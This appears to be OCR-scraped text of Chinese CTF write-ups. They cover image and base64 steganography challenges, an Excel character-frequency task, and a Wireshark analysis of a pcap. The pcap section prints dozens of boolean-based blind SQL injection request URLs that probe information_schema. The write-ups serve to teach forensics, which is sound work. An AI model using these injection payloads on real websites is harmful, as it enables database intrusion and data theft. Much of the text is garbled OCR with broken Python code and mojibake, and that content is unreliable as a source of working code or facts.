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Extractor.execute failed to run external extractor
Errno 2] No such file or directory:
alled correctly

Extractor.execute failed to run external extractor
[Errno 2] Neo such file or directory:

PNG image, 10000 x 10008, 8-bit/color RGB, non

'unrar e "%e"':

‘unrar’, 'unrar e '%e'' might not be ins

'unrar -x "%e'’':

‘unrar', 'unrar -x ‘%e'' might not be i

stalled correctly

1430236
e: MAIN_HEAD

0=15D2DC

RAR archive data, wversionm 4.x, first volume ty

~/RE

CSDN @ EEFE5F

RIMEL4E A %Y, ARCHPREBR LR, #i541020, FIHELEHE, flag.txt+ &K IMwhere do you think the flag is? 4 # Bk AE —

%19, stegslove?T F B A ->Frame Browser, 7E3108 R4 F




[l

do_you_know where_is the_ flag
{RIFIX—Mi, 4R)5 stegslovedT T+, YIHE
&, 7ERed plane OIEF K I 419, 117
[£] StegSolve 1.3 by Caesum — O x

File Analyse Help
Red plane 0




| I | I - | — MEE - oo
SO [ = e

QRITH, KHiflag

B9 QR Research — O

i) IR #=EH)

2 D P E@ .

e
1

A: 4

MBFR g
|H:‘3[}%} j |_i‘-_u'.o j
hit 7= R~T
|.-1.u'.o - |4 il
[ Auo

Eﬁﬁ%ﬁi@ 1.

{31 B8 :(3.6,3.6)-(553.2,3.6)-(3.6,553.2)-(563.4,553.4)

BiEE®E E%

AR 4

MIGFEH A DT

NG

fiag(shanxiapngwu_won_the_game)

flag{shanxiajingwu_won_the_game}

3.[HBNIS2018]exceli it



BHMR: B3K flag #E8 L flag) 3£3%. R¥E: https:/github.com/hebtuerror404/CTF_competition warehouse 2018
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# -* coding:utf-8 -*

#Author: mochu7

alphabet = "abcdefghijkimnopgrstuvwxyzABCDEF GHIJKLMNOPQRSTUVWXYZ1234567890! @#3$%"&*()_+- =\\{\\}[]"
strings = open('C:/Users/lenovo/Desktop/_wolaopo.jpg.extracted/218E8/flag.txt').read()

result = {}

for i in alphabet:

counts = strings.count(i)
i = '{0} .format(i)

result[il = counts

res = sorted(result.items() key=lambda item:item[1] reverse=True)
for data in res:
print(data)

foriinres:

flag = str(i[0])
print(flag[0],end="")

BT A & Biflag:GXY{gaki_IsMyw1fe}

.count(di)

foriinres

flag{gaki_IsMyw1fe}
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def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEF GHIUKLMNOPQRSTUVWXYZabcdefghijkimnopgrstuvwxyz0123456789+/
res =0
foriin xrange(len(s2)):
if s1[i] I = s2[i]:
return abs(base64chars.index(s1(i]) - base64chars.index(s2[i]))
return res

def solve_stego():
with open('ComeOn!.txt', 'rb') as f:

file_lines = f.readlines()

bin_str ="

for line in file_lines:
steg_line = line.replace('\n', ")
norm_line = line.replace('\n', "').decode('base64').encode('base64’).replace("\n', ")
diff = get_base64_diff_value(steg_line, norm_line)

print diff
pads_num = steg_line.count('=")
if diff:
bin_str += bin(diff)[2:].Zill(pads_num * 2)
else:

bin_str +='0' * pads_num * 2
print goflag(bin_str)

def goflag(bin_str):
res_str="
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
return res_str

if _name__ =='_main_ "

solve_stego()
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CSDN @CEEEE

iz i

i om roa

BER: MbEZRLEHET, EHFRIRRE T &MMERE. %
https://pan.baidu.com/s/1AdQXVGKb6rkzgMLKSNGGBQ R EUiY: 34uu & : B IR flag EE L flag{} I3
R % WiresharkiT Jisqltestpcapng, SQLEXRED T, S HihttpXi5

M sqltest.pcapng

IE(F) wEE(E) ME(Y) BEEG) #HERC)

Open

Open Recent
EF(M)...

M Hex E=EEN()...

Close

REF(S)

BEHA)...
MHES
SiisEsE..
SHoEETER
SHSHEFIT(B)...
S PDU Jiszd...

S TLS =3E=4H. .
Sts

FTEQ(P)...
Quit

Ctrl+0O

Ctrl+wW

Ctrl+S
Ctrl+Shift+$S

»

»

Ctri+Shift+X

Ctrl+P
Ctrl+Q

SHT(A) FIHS) BiE(Y) FEEW) TE(T) FEEH)

Internet Protocol Version 4,
Transmission Control Protocol;—src—rorcv:—1631, Dst Port: 8@, Seq: 1, Ack: 1, Len: 383

~ Hypertext Transfer Protocol
v GET /index.php?act=news&id=1%2@and%2@length((selecti20count(*)%20fromx2edb flag.th flag))>1
[Expert Info (Chat/Sequence): GET /index.php?act=news&id=1%28and%20length((select%2@coun
Request Method: GET

v Request URI: /index.phpract=news&id=1%20and%20length((selectk26count(*)%2@fromk2edb flag
Request URI Path: /index.php

E &8 = QT
Destination Protocel Length Infe
172.16.80.11 HTTP 449 GET /index.php?ac
A1 10.0.2.15 HTTP 1027 HTTP/1.1 208 OK
172.16.80.11 HTTP 448 GET findex.php?ac
A1 10.0.2.15 HTTP 1027 HTTP/1.1 208 OK
172.16.80.11 HTTP A48 GET /index.php?a(
.11 19.0.2.15 HTTP 1027 HTTP/1.1 208 OK
172.16.80.11 HTTP A48 GET /index.php?a(
.11 19.0.2.15 HTTP 1027 HTTP/1.1 208 OK
172.16.80.11 HTTP A47 GET /index.php?a(
.11 19.0.2.15 HTTP 1027 HTTP/1.1 208 OK
172.16.88.11 HTTP 447 GET /index.php?a(
DICOM... 10.8.2.15 HTTP 1027 HTTP/1.1 208 0K
HTTP...
IMF.... , 437 bytes captured (3496 bits) on interface \Devic
SME... B:27:e8:dc:18), Dst: Realteku 12:35:082 (52:54:00:12:
TETP... 15, Dst: 172.16.80.11

b L =
CS5DN @ CE2E5F



HE EE

6 172.16.80.11
16 172.16.80.11
26 172.16.80.11
36 172.16.80.11
46 172.16.80.11
56 172.16.80.11
66 172.16.80.11
76 172.16.80.11
86 172.16.80.11
96 172.16.80.11
106 172.16.80.11
116 172.16.80.11
126 172.16.80.11
136 172.16.80.11
146 172.16.80.11
156 172.16.80.11
166 172.16.80.11
176 172.16.80.11
206 172.16.80.11
211 172.16.80.11
218 172.16.80.11
224 172.16.80.11
234 172.16.80.11
256 172.16.80.11
262 172.16.80.11
272 172.16.80.11
277 172.16.80.11
287 172.16.80.11
294 172.16.80.11
316 172.16.80.11
321 172.16.80.11
336 172.16.80.11
342 172.16.80.11
348 172.16.80.11
358 172.16.80.11
370 172.16.80.11
386 172.16.80.11
391 172.16.80.11
397 172.16.80.11

AEEE )

text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 848 bytes
text/html 780 bytes
text/html 780 bytes
text/html 848 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 848 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 848 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes

iR

index.php?act=news&id=1%20and%20length((select%20count(*)%20from%20information_schema.SCHEMATA))>100
index.php?act=news&id=1%20and%20length((select¥20count(*)%20from%20information_schema.SCHEMATA))>50
index.php?act=news&id=1%20and%20length((select?20count(*)%20from%20information_schema.SCHEMATA))>25
index.php?act=news&id=1%20and%20length((select%20count(*)%20from%20information_schema.SCHEMATA))>12
index.php?act=news&id=1%20and%20length((select3%20count(*)%20from%20information_schema.SCHEMATA))>6
index.php?act=news&id=1%20and%20length((select%20count(*)%20from%20information_schema.SCHEMATA))>3
index.php?act=news&id=1%20and%20length((select¥20count(*)%20from%20information_schema.SCHEMATA))>1
index.php?act=news&id=1%20and%20length((select%20count(*)%20from%20information_schema.SCHEMATA))>0
index.php?act=news&id=1%20and%20length((select¥%20count(*)%20from%20information_schema.SCHEMATA))>1
index.php?act=news&id=1%20and%20ascii(substr(((select%20count(*)%20from%20information_schema.SCHEMATA)),%201,%201))>100
index.php?act=news&id=1%20and%20ascii(substr(((select%20count(*)%20from%20information_schema.SCHEMATA)),%201,%201))>50
index.php?act=news&id=1%20and%20ascii(substr(((select%20count(*)%20from%20information_schema.SCHEMATA)),%201,%201))>75
index.php?act=news&id=1%20and%20ascii(substr(((select%20count(*)%20from%20information_schema.SCHEMATA)),%201,%201))>63
index.php?act=news&id=1%20and%20ascii(substr(((select¥%20count(*)%20from%20information_schema SCHEMATA)),%201,%201))>57
index.php?act=news&id=1%20and%20ascii(substr(((select%20count(*)%20from%20information_schema.SCHEMATA)),%201,%201))>54
index.php?act=news&id=1%20and%20ascii(substr(((select%20count(*)%20from%20information_schema SCHEMATA)),%201,%201))>52
index.php?act=news&id=1%20and%20ascii(substr(((select%20count(*)%20from%20information_schema.SCHEMATA)),%201,%201))>53
index.php?act=news&id=1%20and%20ascii(substr(((select%20count(*)%20from%20information_schema.SCHEMATA)),%201,%201))>53
index.php?act=news&id=1%20and%20length((select?%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%201,1))>100
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%200,1))> 100
index.php?act=news&id=1%20and%20length((select?%20SCHEMA_name%20from%20information_schema. SCHEMATA%20limit%203,1))>100
index.php?act=news&id=1%20and%20length((select?%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%202,1))>100
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%204,1))>100
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%200,1))> 50
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%201,1))>50
index.php?act=news&id=1%20and%20length((select?%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%202,1)) > 50
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%204,1))>50
index.php?act=news&id=1%20and%20length((select320SCHEMA_name%20from%20information_schema. SCHEMATA%20limit%203,1))> 50
index.php?act=news&id=1%20and%20length((select?%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%200,1))>25
index.php?act=news&id=1%20and%20length((select?%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%202,1))>25
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%201,1))>25
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%203,1))>25
index.php?act=news&id=1%20and%20length((select?%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%204,1))>25
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%200,1))>12
index.php?act=news&id=1%20and%20length((select320SCHEMA_name%20from%20information_schema. SCHEMATA%20limit%201,1))>12
index.php?act=news&id=1%20and%20length((select?%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%202,1))>12
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%203,1))>12
index.php?act=news&id=1%20and%20length((select?%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%200,1))>19
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit%204,1))>12
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